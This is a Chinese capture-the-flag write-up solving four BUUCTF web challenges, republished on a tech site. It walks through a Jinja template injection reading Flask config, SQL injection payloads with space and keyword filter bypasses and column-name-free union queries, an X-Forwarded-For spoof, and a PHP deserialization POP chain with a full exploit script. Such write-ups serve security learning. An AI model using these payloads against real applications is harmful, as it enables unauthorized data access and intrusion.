• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

BUUCTF web九

武飞扬头像
1ZAYAK1
帮助1

[WesternCTF2018]shrine

查看源码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])   s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

学新通

app.config[‘FLAG’] = os.environ.pop(‘FLAG’)注册了一个名为FLAG的config

利用ssti模板注入查看flag,先测试一下{{3 3}}

学新通

可行,但是config被过滤了,否则{{config}}就可以看到所有app.config内容

我们可以用url_for()函数,这个url_for()函数是用于构建指定函数的URL,而且url_for操作对象是函数,而不是route里的路径,再配合globals 函数返回一个全局变量的字典。

/shrine/{{url_for.__globals__}}

学新通
current就是指当前的app,这样我们只需要查看到这个的config就可以看到flag了,那么构造payload

/shrine/{{url_for.__globals__['current_app'].config}}

拿来吧你

学新通

[SWPU2019]Web1

随便注册个登录,只有广告位一个功能,单引号试试呗
学新通注入是吧,来!注!

经过测试发现过滤了空格,or,– ,#,order,and等

先判断字段数,手动尝试n 1次后发现是22列

1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

学新通
发现回显位是二三位

查表

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

学新通

1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

学新通
新姿势:Maria数据库的这个表可以查表名:mysql.innodb_table_stats

设第二列别名为b

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select*from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

学新通再看看第三列

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

学新通
总结:这道题考察的主要是无列名注入和二次注入,在不知道列名的情况下我们先让列名改名然后再单独给某一列起别名的方式来查看这列数据的内容

[MRCTF2020]PYWebsite

要我买flag
学新通
做梦

拉到最下面有个输入框
学新通
可以找到校验函数
学新通
md5解一解
学新通
。。。。

这钱不花不行了是吧

直接访问./flag.php呢
学新通
“ 除 了 购 买 者 和 我 自 己 ”
试试X-Forwarded-For: 127.0.0.1
拿来吧你
学新通

[MRCTF2020]Ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#反序列化魔术方法
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
学新通

上来就审

反序列化的题,很明显,需要include文件flag.php并且用伪协议读取,第一个类里还有一个魔术方法__invoke(),以调用函数的方式调用一个对象时的回应方法

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

这里有一个include函数,题目中说flag在flag.php里,那就要想办法包含flag.php这个文件,想要包含的话就需要让var的值为flag.php再调用__invoke方法,这个是pop链最后的部分,而我们需要接着找到怎么函数调用invoke。

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

在Test类中的__get方法中刚好会把属性p当作函数调用,所以需要触发魔术方法get,而get方法会在访问类中一个不存在的属性时自动调用,所以需要寻找访问属性的代码。

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
学新通

魔术方法__toString中会返回属性str中的属性source,如果属性source不存在那么就满足了刚才的条件。那么怎么调用toString呢?魔术方法toString会在类被当作一个字符串时调用,比如直接print或者echo一个类。而wakeup中的preg_match函数中传参了source,这个函数中source就会被当作字符串处理,但是source只是一个属性,而toString只有在类被当作字符串时调用(注意这里一个是属性一个是类),所以我们给source赋值一个类不就行了嘛。preg_match中过滤了一些函数,但是并不影响我们用php伪协议(直接访问flag.php并没有flag,说明flag应该是以php代码形式编写在后端的)。调用wakeup方法只需要反序列化。

所以整个利用链就是

反序列化show类->调用wakeup魔术方法,以字符串形式处理属性source->将source赋值一个new的类->调用toString方法,其中$this->str->source不存在->这个类中的str复制new的Test类,这样才能和Test类联系起来从而触发get方法->用p把Modifier类当作函数调用,触发invoke->包含flag.php并用php伪协议读取。

exp:

<?php
class Modifier {
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str = new Test();
    }
}
class Test{
    public $p;	
}
$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>
学新通

学新通
get传参pop提交

学新通
学新通

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhggfagc
系列文章
更多 icon
同类精品
更多 icon
继续加载